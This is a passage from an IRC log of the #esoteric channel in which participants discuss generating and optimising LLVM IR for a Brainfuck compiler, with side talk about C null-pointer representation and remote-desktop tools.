"%foo = %bar" is apparently not allowed. :p < 1268863022 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Well, it's SSA, there's no point in just renaming something :-P < 1268863079 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Right, I obviously meant "%bXoutmem = bitcast i8* %bXY to i8*" there, but you did guess the identitytity of it. < 1268863096 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I did. < 1268863115 0 :jcp!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268863222 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Make one up? :P < 1268863228 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I'm not sure but I think %bXoutmem = getelementptr i8* %bXY would work as well < 1268863262 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The grammar allows for zero indices but that doesn't mean the implementation does :-P < 1268863265 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Possibly. Or a ptrtoint i64 + inttoptr pair for extra nonsensity. < 1268863292 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I was thinking just in terms of compressing it < 1268863323 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Of course you could do "%bXoutmem = select i1 true, i8* %bXY, i8* undef" or whatever if you like :-P < 1268863352 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Actually I had that in there first (except the %bXY also on the false side) before the identity-bitcast. :p < 1268863363 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I already ptrtoint the memory pointer to an i64 value for (sequences of) < and > instructions, because a random googling page said that's the way you're supposed to do pointer arithmancy on LLVM. < 1268863381 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :getelementptr is preferable IMO < 1268863444 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Is LogMeIn considered reputable? < 1268863462 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Yes, I guess I should've done that; if I getelementptr with a single index, do I get just a fixed offset of the original %ptr back? < 1268863462 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :[If not, I'm kind of screwed] < 1268863518 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I think you need to have it be a pointer to a struct or array for that to work, actually. < 1268863545 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :So it may not be available to you unless you've got a [30000 x i8] backing it. < 1268863602 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Hmn; I'm keeping a "raw" pointer around that I decrement/increment; I guess I would need to somehow type-cast that thing backwards if I used getelementptr to modify the offset. < 1268863630 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :The Java applet is kind of wonky < 1268863652 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: getelementptr gives you a result of the element pointer type. < 1268863674 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Right, but can I then use that in successive getelementptr instructions to move the pointer around? < 1268863675 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :So if you keep it around as a pointer to the array, it may be easier. Or then not. < 1268863687 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Maybe I should just use a i32 offset modified by <> and getelementptr (instead of a raw load/store) for +-,.[] memory-access, and trust the optimizer to make it, well, optimal. Oh, well. < 1268863689 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: No, because then you've got an i8*. :-P < 1268863703 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Grr, why does it think "Ctrl-A" means "Close out of Chrome"? < 1268863703 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And you can't gep unless it's a pointer-to-aggregate < 1268863732 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The generated code doesn't seem to optimize "store"s over "call @putchar", for example; I guess it can't really figure out that's safe since the memory pointer comes in as an argument to the brainfuck code function, and putchar() might well depend on that. Maybe some sort of attribute there somewhere might help. < 1268863746 0 :Hohoo!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268863847 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Oh, and it does all the on-tape calculations too, presumably because it can't know the tape starts out as zeroes. Heh. < 1268863879 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If you made it a "[30000 x i8] zeroinitializer" it would ;-) < 1268864148 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess I should try out a function-internal tape, in fact. < 1268864270 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Identity bitcast? >_< <-- wonderful! < 1268864294 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Bored of watching the game yet? < 1268864377 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Is LogMeIn considered reputable? <-- wth is it, I never heard of it. And why are you using it. < 1268864446 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well yes. < 1268864452 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I'm reading internet oracle atm < 1268864454 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-) < 1268864461 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, since I can't jump forward it seems < 1268864489 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I recommended ipbt, which has a sufficiently nice amount of functionality < 1268864522 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, not in ubuntu or arch repos... < 1268864544 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's in AUR < 1268864549 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, meh < 1268864566 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Going to disconnect from it for now. LogMeIn without Java or ActiveX or the Firefox plugin is maddening. I can use the Java thign on this computer, but it's a pain. < 1268864577 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_, what the hell is it < 1268864586 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :s/recommended/recommend/... although that works either way I guess < 1268864593 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Lets me control my computer from elsewhere. < 1268864672 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Disconnecting for now. Later, in class, I should be able to use the ActiveX control. < 1268864681 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :So, it's like ssh, except lame and terrible because it's for Windows. < 1268864691 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Use a VNC < 1268864849 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268865549 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: So, uh... if I start to refer to my memory block using an actual value of type [30000 x i8] (initialized as "zeroinitializer"), how can I actually operate on it? extractvalue/insertvalue can only work on constant indices, and the only way I can see to get a pointer to a stack-allocated value is to take it from alloc; but in that case I just get a i8* that's not necessarily initialized, and I don't see a particularly simple way of telling LLVM I want t < 1268865549 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :o zero it, except with a loop that explicitly stores a 0 in each cell (which is what I had in my generated main() for standalone apps). < 1268865604 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: If you have a global [30000 x i8] zeroinitializer, that value is a [30000 x i8]* < 1268865629 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :But I don't want a global, putchar and such could depend on that. I want a strictly function-internal thing. < 1268865638 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Also, if I read things right, a "%x = getelementptr i8* %y, i32 1" in fact does give me i8*:%x that points to one byte after %y. < 1268865655 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If you mark it "internal", putchar won't depend on it. :-P < 1268865684 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Maybe; I think that you need to give it a pointer to an aggregate, but I might be wrong. < 1268865699 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or do you have some kind of putchar of your own defined there? < 1268865757 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :My tape-zeroing loop in main() did %mem = alloca $opt{cell}, i32 30000 and then later "%p = getelementptr i8* %mem, i32 %i" and "store i8 0, $i8* %p" and it compiled without problems. < 1268865786 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: For function-locality I guess you could do: x = alloca [i8 x 30000] store x, [i8 x 30000] zeroinitializer < 1268865796 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If that works, that's nice. :-) < 1268865799 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"The first argument is always a pointer, and forms the basis of the calculation. -- The first index always indexes the pointer value given as the first argument, the second index indexes a value of the type pointed to (not necessarily the value directly pointed to, since the first index can be non-zero), etc." < 1268865823 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :%x = alloca [i8 x 30000] gives the type i8* to %x. < 1268865829 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Away for a moment now. < 1268865836 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Hrm, or maybe not. < 1268865837 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Would a VNC bypass the fact that I can't open ports? < 1268865841 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: It shouldn't O_o < 1268865855 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: You allocate a single element of [i8 x 30000] instead of 30000 elements of i8, right. Didn't see that. < 1268865868 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268865868 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Yes, I guess that sort of stuff could work. Will have to try later on. < 1268865986 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, was that to me? < 1268865994 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No, it wasn't. < 1268866007 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I don't know the answer to your question. < 1268866065 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :With a plugin installed, it seems very smooth < 1268866077 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I think I'll try out: %tape = alloca [i8 x 30000]; %memptr = getelementptr [i8 x 30000]* %tape, i32 0, i32 0; ... and then my existing style of keeping around a raw pointer, except that I do p++ as %newptr = getelementptr i8* %oldptr, i32 1 and so on. < 1268866097 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268866168 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268866383 0 :sebbu2!~sebbu@ADijon-152-1-2-59.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268866417 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268866417 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1268866561 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268866687 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Heh, I did http://pastebin.com/NJRPq53G and now "llc -O3 -f -o hello.s hello.bc" took 1 minute 14 seconds of 100 % CPU-use time to finish. :p < 1268866754 0 :Sgeo_!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268866759 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Also "wc -l hello.s" => 30193; it contains: "movb $0, 29999(%rsp); movb $0, 29998(%rsp); movb $0, 29997(%rsp); ...". < 1268866827 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Which is why making it a constant might be a better idea ;-) < 1268866846 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I mean, global < 1268866879 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I was hoping to get just a sequence of putchar() calls with constant-folded arguments, since the control-flow's so very simple here. < 1268866915 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :How'd you optimize it < 1268867013 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268867037 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I think the existing optimizing Brainfuck compilers turn hello.bf into puts("Hello World!"). I mean, there's a single loop with a fixed iteration count (that should be at least theoretically speaking possible to see) you'd only need to unroll, and then it'd be a small matter of combining some additions into constant values. < 1268867052 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Again: how'd you optimize it < 1268867093 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: What, me? Am I supposed to do something here? Isn't LLVM supposed to do everything for me. < 1268867095 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: That's "how did", not "how would" < 1268867105 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268867109 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Yes, but what optimizer flags did you use :-P < 1268867132 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or full command lines; whatever < 1268867142 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I don't know anything about that stuff; to be honest, I haven't found the documentation very impressive. I just ran the llc command there; I don't think llvm-as has very many flags. < 1268867159 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Right, I figured you might've done that; that's tantamount to no optimization at all < 1268867164 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :"opt" is the tool you want to use < 1268867177 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The llc optimizations are only machine-specific stuff like register allocation and instruction scheduling < 1268867195 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Oh-kay. That sounds a lot better. < 1268867199 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: llvm-as < foo.ll | opt -std-compile-opts -std-link-opts | llc -O3 > foo.s < 1268867228 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :llvm-as < foo.ll | opt -std-compile-opts -std-link-opts | llvm-dis to see what it actually did < 1268867319 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268867576 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It still doesn't seem to be doing very much, actually. Though at least it can turn the meaty part of [>+++++++>++++++++++>+++>+<<<<-] into: addb $7, 9(%rsp); addb $10, 10(%rsp); addb $3, 11(%rsp); incb 12(%rsp); so it's not completely confused by my pointer math. < 1268867674 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :But it still includes those 30k stores of zero into rsp, even though it only uses fixed-K references of style K(%rsp) for some very low values of K and never actually alters %rsp in the function at all (except an addq $30008, %rsp in the end). < 1268867708 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If your array is local it has to zero it somehow < 1268867736 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Why does it need to zero those parts that are never referred to?-) < 1268867747 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Because you asked it to? ;-P < 1268867810 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's like claiming that if I do "a = 42; a = 10;" it needs to set a to 42 first "because I asked to". < 1268867826 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Not really, that's a bit different < 1268867848 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268867855 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Just wondering... < 1268867888 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Okay, so claiming that if I do "int a[2] = {42, 6669}; return a[0];" it needs to set a[1] to 6669 first "because I asked to". < 1268867894 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Is it worth it to implement a tape-based language with a potentially very long tape? < 1268867902 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Like with a blocked, linked list? < 1268867903 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Yes, that's it. < 1268867977 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Right, well, GCC doesn't do that (if I tell it to optimize, anyway). :p < 1268868049 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(Unoptimized it does "movl $42, -16(%rbp); movl $6669, -12(%rbp); movl -16(%rbp), %eax;" -- with -O2 it's just "movl $42, %eax".) < 1268868057 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Admittedly my case is a little more complicated. < 1268868103 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'm a bit surprised at that assembly output, though I might be using it wrong. It does things like: < 1268868127 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : movb $0, 8(%rsp) < 1268868127 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : movb 8(%rsp), %al < 1268868127 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : addb $10, %al < 1268868127 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : movb %al, 8(%rsp) < 1268868134 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: This is interesting: with an array of size 128 LLVM optimizes all manner of whatnot but with 129 it doesn't. < 1268868137 0 :charlls!unknown@unknown.invalid QUIT :Quit: Saliendo < 1268868181 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess the store is a single piece of bitcode and it can't break it up, but on the other hand it doesn't even seem to realize that 8(%rsp) is zero anyway there. < 1268868275 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I'm doing that store [128 x i8] zeroinitializer business and it's optimizing a load from the first index into the constant zero, but with array size 129 it doesn't. < 1268868302 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :(Or anything else bigger than 128) < 1268868343 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That actual [>+++++++>++++++++++>+++>+<<<<-] loop turns into a reasonably sensible bit of assembly, though. http://pastebin.com/YabDwrDG -- though even there I do have to wonder about that looping condition. < 1268868641 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: clang appears to codegen array initializations as assigning each element separately; that'll likely work better for you too < 1268868680 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The loop is especially interesting since it's so clever; in the original LLVM code the loop is: %v1 = load i8* %mem; %v2 = sub i8 %v1, 1; store i8 %v2, i8* %mem; %termc = icmp ne i8 %v2, 0; br i1 %termc, label %Block1, label %Block2; < 1268868725 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :LLVM does crazy stuff with "simple" numeric loops < 1268868748 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's rather clever. < 1268868750 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :So it compares the result of the subtraction against 0; after "opt" it actually compares the before-subtracting value against 1. I guess it might be some sort of instruction-scheduling thing. < 1268868816 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Is malloc guaranteed to give you zeroed memory? < 1268868819 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No < 1268868822 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: No. < 1268868822 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: No, you want calloc for that. < 1268868830 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Good, good. < 1268868847 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GC_MALLOC will, though. < 1268868868 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1268868872 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Also the zeroed memory you get from calloc() or memset() is not guaranteed to be suitable for non-integer types; it might not contain the correct NULL pointer values, for example. < 1268868900 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(I've met a lot of people who zero pointer-containing structures with memset and live to tell the tale, though.) < 1268868912 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Wait, how can it give zeroed ints but not pointers? < 1268868926 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: NULL is not necessarily represented by a 0. < 1268868930 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Because the NULL pointer is not necessarily represented by all-bits-zero. < 1268868940 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Huh? < 1268868954 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It is merely required that a cast from integer constant 0 to a pointer is NULL. < 1268868976 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :... < 1268869004 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :So (void *) 0 == NULL need not be true? < 1268869006 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It is perfectly valid for NULL to actually be 0xDEADBEEF. < 1268869019 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No, ((void *) 0) must be NULL. < 1268869023 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :0 in a pointer context is NULL, so (void*)0 == NULL. < 1268869032 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :However, ((int)NULL) does not necessarily equal 0. < 1268869040 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Oh. < 1268869066 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Also, for real-world (for some values of "real", anyway) examples of these cases: http://c-faq.com/null/machexamp.html "Seriously, have any actual machines really used nonzero null pointers, or different representations for pointers to different types?" < 1268869067 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :So if I calloced some memory with pointers in it, the pointers would be null? < 1268869071 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1268869078 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Because calloc just sets the bits to zero. < 1268869088 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: For most systems, not all of them. < 1268869101 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I'm so confused! < 1268869107 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, yes, I guess it's fair to say that they have a very good chance of being NULL. < 1268869126 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :All machines that have been manufactured in the last 20 years, say < 1268869130 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :How can it set the bits to 0 and not set it to 0, which is NULL when cast to a pointer? < 1268869142 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :C guarantees that casting 0 to a pointer gives you NULL < 1268869156 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: 0 is not necessarily the actual bit representation of a NULL. < 1268869162 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I got that. < 1268869174 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It is merely required that ((void*)0) gets you NULL, *WHATEVER THE HELL IT ACTUALLY IS*. < 1268869195 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Is it required that int x = 0; (void*)x == NULL ? < 1268869207 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or does it have to be the constant zero < 1268869220 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Don't think so. < 1268869238 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :const int x = 0; // Here, however, (void*)x == NULL. < 1268869255 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Right < 1268869292 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Did you try the element-by-element initialization business? < 1268869348 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Yes, just three seconds ago. It works a lot better; the .ll file initially has ugly 60k lines, but after opt there's actually no explicit zeros at all. < 1268869365 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Aye, that's what I expected. < 1268869438 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION files an LLVM bug
< 1268869488 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: So does it get to puts("Hello world")? ;-) < 1268869494 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :(Presumably not) < 1268869517 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Are you sure about that? It needs to be "an integer constant expression with the value 0", and the C 'const's aren't really constant expressions: "An integer constant expression shall have integer type and shall only have operands that are integer constants, enumeration constants, character constants, sizeof expressions whose results are integer constants, and floating constants that are the immediate operands of casts." < 1268869622 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268869832 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Mwahaha... when I made that explicit "%zN = getelementptr [30000 x i8]* %tape, i32 0, i32 N; store i8 0, i8* %zN;" for all N = 0 .. 29999 in the .ll file, what came out in the assembly was "sub rsp, 30008; lea rdi, [rsp]; xor esi, esi; mov rdx, 30000; call memset;" :D < 1268869851 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :O_o < 1268869869 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I didn't even have any sort of memset function declared anywhere or anything. :p < 1268869881 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, they try to optimize common idioms like that < 1268869902 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :call void @llvm.memset.i64(i8* %z0.i, i8 0, i64 30000, i32 1) nounwind < 1268869910 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Actually that's in the opt'd .bc file too, it seems. < 1268869915 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It looked messy enough that I missed it. < 1268869922 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I'm just a bit surprised that the zeroinitializer thing didn't do that. Not very, though, since it tends to depend on whether llvm-gcc or Clang output such code. :-P < 1268870035 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: There's still quite a bit of explicit computation, though: http://pastebin.com/P0vJXANt < 1268870070 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Thanks for the Intel asm ;-) < 1268870090 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Pastebin's syntax highlighting only has a NASM mode. :p < 1268870102 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It seems to depend on that first loop which it can't reduce, evidently. < 1268870105 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's still not exactly nasm-compatible, but close enough. < 1268870120 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It does inline the brainfuck function into main, it seems. < 1268870122 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If you have a .ll or .bc, I can run it through LLVM trunk if you want. < 1268870203 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, hello.ll: http://zem.fi/~fis/hello.ll < 1268870232 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :3 megs >_< < 1268870247 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :60k lines of zero-initialization. :p < 1268870254 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That .bc would likely have been a bit smaller. < 1268870254 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I should just call memset by myself. < 1268870304 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: In trunk, it no longer calls memset. < 1268870314 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Okay. Does it still have that loop there? < 1268870334 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It has 30000 movb's to start with. < 1268870348 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And yes, a loop, though it looks a bit different. < 1268870376 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or no, that may have been my fault: I used -regalloc=pbqp instead of the default. < 1268870381 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268870395 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Nah, that doesn't actually matter, it's still a bit different. < 1268870405 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The loop seems curiously unrollable to me; and I don't quite see why it bothers to keep the loop counter updated at [rsp] while the body is really that simple. < 1268870475 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Especially when it initializes it with a constant 10 at the top. < 1268870529 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :http://pastebin.com/U816YgtS is what it comes out with now (minus 30000 movb's) < 1268870537 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Minus 29999 movb's, to be exact. < 1268870591 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No inlining, which is a bit weird. < 1268870613 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Maybe the 30k movbs make it too large to consider inlining. Though one use only... < 1268870616 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I had rbx-based indexing in some earlier version too. < 1268870684 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That variant seems to again do the "store 0 into [rsp], then add 10 to it later and use that as the loop condition". < 1268870709 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :At least the one I got out initializes [rsp] directly to 10, and then falls 